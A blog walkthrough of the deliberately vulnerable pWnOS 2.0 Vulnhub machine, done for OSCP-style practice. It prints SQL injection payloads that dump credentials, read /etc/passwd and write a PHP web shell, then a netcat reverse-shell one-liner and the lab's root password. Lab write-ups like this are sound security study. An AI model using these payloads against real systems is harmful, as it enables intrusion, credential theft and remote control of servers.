OSCP like Vulnhub machines: pWnOS: 2.0

Download VM

pwnos 2.0 is a beginner level boot2root machine developed by pWnOS.

This was a beginner friendly box and was a pretty cool box. Every step from gaining the initial foothold to escalating privileges was relatively easy; even considering the fact that this machine was released back in 2011.

This might be a pretty old machine, but the lessons it teaches are still relevant. Also, this machine had multiple ways of gaining the initial foothold ; which I loved! Also, privesc was easy to do, but not that easy to find! 😋

The big con with this machine was that this machine didn’t had DHCP server enabled and it worked with a static IP address 10.10.10.100. So, that means if we want to run this box in our local network, we have to change the IP address of our local network to 10.10.10.x range for it to work or we have to create a virtual network adapter and assign it the 10.10.10.x IP address range.

But that all is just too much hassle for running a single vm. Instead, I searched for Pwnos 2.0’s walkthorugh, found one from hackingarticles, found the root password, logged into the machine and changed the /etc/network/interfaces file to enable DHCP. I didn’t read the article before solving the machine, but I read it after solving the machine, since I didn’t encounter a plain text root password in my enumeration and found out that there is multiple vectors of rooting this machine. I will talk about the method used here at the end of this article for comprehensiveness.

The root password was root@ISIntS.

And I changed the /etc/network/interfaces from:

iface eth0 inet static
    address 10.10.10.100
    netmask 255.255.255.0
    network 10.10.10.0
    broadcast 10.10.10.255
    gateway 10.10.10.15

To the following:

iface eth0 inet dhcp

And the machine will work flawlessly with my network.

Let’s start the enumeration process with netdiscover.

netdiscover -Lr 192.168.1.0/24

Where 192.168.1.0/24 is my home network’s range, -L is to keep listening and -r is to specify range.

From that command i’ve found out the IP Address of the target as 192.168.1.5.

We are going to start the enumeration by a Nmap scan.

nmap -sCV -v -oN tcp 192.168.1.5

And the output is as follows.

Nmap scan report for 192.168.1.5
Host is up (0.000073s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 AA:22:CC:44:DD:66:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
|   2048 AA:22:CC:44:DD:66:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_  256 AA:22:CC:44:DD:66:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: AA:22:CC:44:DD:66 (VMware)

We have two services running on the target. SSH and a Webserver.

From a quick google search, I have found out the version to be Ubuntu 11.10 Oneric Ocelot and the timeline around 2011-ish.

Navigating to http://192.168.1.5 has showed the following web server.

I created a new account using the register page.

I followed the link, but there were no response from the server.

So, I started gobuster to run it in the background. I then started testing the login field for basic SQL Injection vulnerabilties and I found that email field is vulnerable to SQL injection and we have error reporting turned on!

Juicy!
The output also contained the DBMS type and version number.

I then captured the request using BurpSuite and started manual SQL injection.

Since the target have error reporting turned on, things went pretty smoothly.

I used admin' UNION SELECT 1 -- as the payload to determine the returning columns from the first statement. But, that returned the following error.

So, the next step is increment the columns one by one to determine the total number of columns returned by the first SELECT statement.

I found out the total number of columns returned by the first SELECT statement as 8 and the fourth column in the SELECT statement we injected, gets printed on the web page.

Now that we have found the number of columns returned by the first SELECT statement and the column number that gets printed in the webpage, let’s start enumerating the database.

Since we know that the target DBMS is MySQL, we can use the version() function to test if our injection is working or not.

The parameter we are passing is the following.

admin' OR 1=1 UNION SELECT 1,2,3,version(),5,6,7,8 LIMIT 2,3--

Here, the LIMIT 2,3 function is used to select the output one by one.

LIMIT 1 selects only the first row from the result,

LIMIT 1,2 selects only the second row from the result,

LIMIT 2,3 selects only the third row from the result and so on..

I specified the LIMIT clause since only a single row was getting output through the website. So, I had to manually iterate through the results one by one using LIMIT to get the desired output.

Great! The injection is working. Now, we are going to enumerate and dump the credentials in the database like we did in vulnos. In a real life scenario, I would definitely resort to sqlmap, as it is more efficient. But since I am doing this for learning purpose and I’ve got time, I prefer to do it the hard way.

So, to dump credentials we need the database name, table name and the column name. Let’s start with the database name.

Enumerating current database

The following parameter is passed via the email POST variable to show the current database.

admin' OR 1=1 UNION SELECT 1,2,3,database(),5,6,7,8 LIMIT 2,3-- 
The database is ch16

Checking for other databases

The following parameter is passed via the email POST variable to show the databases.

Now since this will return more than one rows, we have to manually iterate the results using LIMIT clause like we said before.

So, using the LIMIT clause, I have found that there were 3 databases. But there was no other interesting database other than ch16. So, moving on…

Viewing tables from database ch16

The following parameter is passed via the email POST variable to show the tables in ch16.

admin' OR 1=1 UNION SELECT 1,2,3,concat(table_name),5,6,7,8 from information_schema.tables where table_schema='ch16' LIMIT 2,3--

Just like we did before, we have to iterate through results here. I did that and found out that there is only a single table named users in database ch16.

Viewing column names of users table

The following parameter is passed via the email POST variable to show the column names of table users in database ch16.

admin' OR 1=1 UNION SELECT 1,2,3,concat(column_name),5,6,7,8 from information_schema.columns where table_name='users' LIMIT 2,3-- 

And there were 8 columns. Amongst them, the interesting ones were email and pass.

Dumping data from table

The following parameter is passed via the email POST variable to dump the contents of columns email and pass from table users in database ch16.

admin' OR 1=1 UNION SELECT 1,2,3,concat(email),5,6,7,8 from users--

admin' OR 1=1 UNION SELECT 1,2,3,concat(pass),5,6,7,8 from users--

And I dumped the credentials, which were the following.

email: admin@isints.com 
first_name: dan 
password:c2c4b4e51d9e23c02c15702c136c3e950ba9a4af (SHA1 hash)

I searched the password in an online hash cracking site and found out the password as killerbeesareflying.

I checked the password for password reuse in SSH service, but with no luck.

I then used the password to login to the /index.php page and found the following error.

Bummer!

There was a WAF set up in the target, which denied our session.

I then decided to look back at the gobuster directory to find a /blog directory. Navigating to blog, showed the following webpage.

So, I tried to login to the blog with the credentials we dumped earlier, but again, with no luck! 🥺 Sounds like another rabbit hole.

In hindsight, I should’ve enumerated further, as exploiting the service running at /blog was the intended and easiest path for gaining the initial foothold. But, I was too excited about the SQL injection vulnerability and my thoughts were all over the place at that moment! So, I decided to focus back at the SQL injection again.

This time, I decided to try to write a web shell PHP file to the web directory using MySQL.

But to do so, there are certain prerequisites.

  1. The mysql user must have access to mysql.user table
  2. The mysql user must have file privileges
  3. The mysql user must have write permission to the web directory

If these can be done, then we could write a web shell to the web directory and execute it.

WRITING FILES USING INTO OUTFILE CLAUSE IN MYSQL

To write a file into the target using MySQL, we can use the INTO OUTFILE clause. But, before doing that, we have to perform the necessary checks to ensure that the target meets the pre-requisites.

I used this old, but incredible exploit-db paper to do this.

Finding the current user

To find out the current user, I passed the following parameter to the POST variable email.

admin' OR 1=1 UNION SELECT 1,2,3,user(),5,6,7,8 LIMIT 2,3 --

We are mysql root user! Sweet!

This means that we should have access to the file system. But, still let’s continue with the prerequisite checks.

Checking if the current user have access to mysql.user table

To find out if we have access to mysql.user table, I passed the following parameter to the POST variable email.

admin' UNION SELECT 1,2,3,concat(user),5,6,7,8  FROM mysql.user LIMIT 1 --

If this returns a username, then we have access to the said table.

And we have access indeed. Duh!

Finding if the user have file privileges

To find out if the user have file privilges, I passed the following parameter to the POST variable email.

admin' UNION SELECT 1,2,3,group_concat(user,0x3a,file_priv),5,6,7,8  FROM mysql.user LIMIT 1 --

The output would of the following format.

User: Have File Privilege or nor (Y or N) and so on..

If the returned string has Y beside the username (here the username is root), then we have file privilege.

And we do have file privilege.

Now, some of you might be confused with the multiple root usernames. That is because the file privilege is different for different hosts. For further clarification, look at the screenshot below.

Hope this clears the ambiguity.

Testing the file permissions using load_file function

We can ensure that the user have file permissions by reading a file from the file system, using the load_file() function.

To read /etc/passwd using the load_file() function, I passed the following parameter to the POST variable email.

admin' UNION SELECT 1,2,3,load_file('/etc/passwd'),5,6,7,8  FROM mysql.user LIMIT 1 -- 

And it worked!

Now, for the final part. Writing the file to the web directory. As far as my research went, mysql has no way of knowing if a said directory is writeable, without writing to it using INTO OUTFILE.

Since it is a OS level permission, it depends on the local user, mysqld is running as.

So, let’s try to write the webshell to /var/www, since that is the web directory as revealed by the elaborate SQL error shown at the beginning of our SQL injection.

I passed the following parameter to the POST variable email, to write a simple PHP webshell that receives command from a GET variable.

admin' OR 1=1 UNION SELECT 1,2,3,char(60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,109,100,34,93,41,59,32,63,62),5,6,7,8 INTO OUTFILE '/var/www/test.php' -- 

Notice the char function with comma separated digits? That’s decimal representation of the following ASCII PHP reverse shell code.

<?php system($_GET["cmd"]); ?>

I used CyberChef website to convert the ASCII to it’s comma separated decimal representation.

I got an error in the output as shown below.

However, this error doesn’t matter. Even if it shows the error, the file has written successfully to /var/www.

Let’s navigate to http://192.168.1.5/test.php?cmd=id to verify it’s existence.

And we’ve got code execution!

Now, let’s use this to get a reverse shell. I passed the following parameter to the GET variable cmd to get a reverse shell. I used the Weibell reverse shell generator to generate the payload.

touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.12 9001 > /tmp/f

Keep in mind that I used BurpSuite to URL encode all of the payloads, including the reverse shell payload.

And I got a shell!

Upon the initial LinPeas enumeration, I found the kernel is pretty old and that the MySQL service is running as root user.

Linux kernel 2.6.38 is vulnerable to dirtyc0w

Also, since MySQL is a superuser, if we can login to MySQL, then we can get a root shell.

LinPeas has also extracted a MySQL password.

I tried login to MySQL with this password, but the login was denied for some reason.

I then tried dan’s password killerbeesareflying, but without any luck.

There was something fishy about the login denied in MySQL, as LinPeas has reported that the password was indeed found in /var/www/mysqli_connect.php.

So, I inspected the source code of login.php. The login script included the MySQL conenction file using the variable MYSQL and the file included a configuration script from the directory includes/config.inc.php.

Contents of login.php

The config.inc.php file contained the following line, which declared the MYSQL

Contents of includes/config.inc.php file

Everything seems right. But, this is actually a clever way to keep the attackers confused about the actual file location.

Even though the configuration says mysqli_connect.php file is located at one directory above the current directory, this doesn’t mean that the mysqli_connect file is located at /var/www. The actual file is located at /var directory.

How does that work?

Great question. Let me explain.

How include function in PHP works

In PHP, if we include a file, the code inside the included file gets included in the parent file, before the server executes the parent file.

For example, if I write a file include.php with the below content.

<?php echo("Contents of include.php"); ?>

And I included the include.php file in another file named parent.php, with the following contents.

<?php 
echo("Contents of parent.php\n"); 
include('include.php');
?>

And execute parent.php, we get the following output.

So, when in the target, when the login.php includes includes/config.inc.php, the relative path ../mysqli_connect.php will change from /var/www to /var ; as /var is the directory just above /var/www where login.php is located.

So, the actual mysqli_connect.php file is located at /var. Let’s see that file.

So, the real password to root MySQL account is root@ISIntS.

That was a valid password for mysql. So, I tried to escalate privileges using the following command.

mysql -u root -e '\! /bin/bash' -p

But, unfortunately that failed. 😢

So, I tried to su as mysql user, since the /etc/passwd file indicated that mysql user has a login shell.

But, the password showed authentication failure when i tried that. 😢

Frustrated, I decided to su as root with this password.

And it worked! Woot!

And we are root! The good old credential reuse came to my rescue here!

Final Thoughts

Overall this felt like a beginner machine for me, but with some slight, but important twists. The main one being the location of mysqli_connect.php file.

The author cleverly placed the original mysqli_connect.php file at /var instead of /var/www as files under /var/www and /var/backups will be reported by local enumeration scripts such as linpeas. He also did some PHP tricks to cleverly manipulate the attacker by placing a dummy mysqli_connect.php file at /var/www and he used the relative path in config.inc.php.

I really liked the author’s way of hiding the important things in attacker’s obvious blindspots as he will be forced to realize them and forced to overcome the blindspots. So, in a way he was exploiting the attacker! 😅 Cool work!

I also liked the fact that there is more than one vector to gain access in the target.

As I said earlier, the walkthrough from hackingarticles showed exploiting a vulnerability in the Simple PHP Blog 0.4.0 software hosted at the /blog directory we found earlier.

The article explains exploiting the vulnerability to create an account and using that credentials, uploading a PHP web shell into the target via an unsanitized image uploader.

This is the alternate vector on gaining the initial foothold and intended path of exploitation.

Overall this was a great machine and I really enjoyed solving it!

Leave a Comment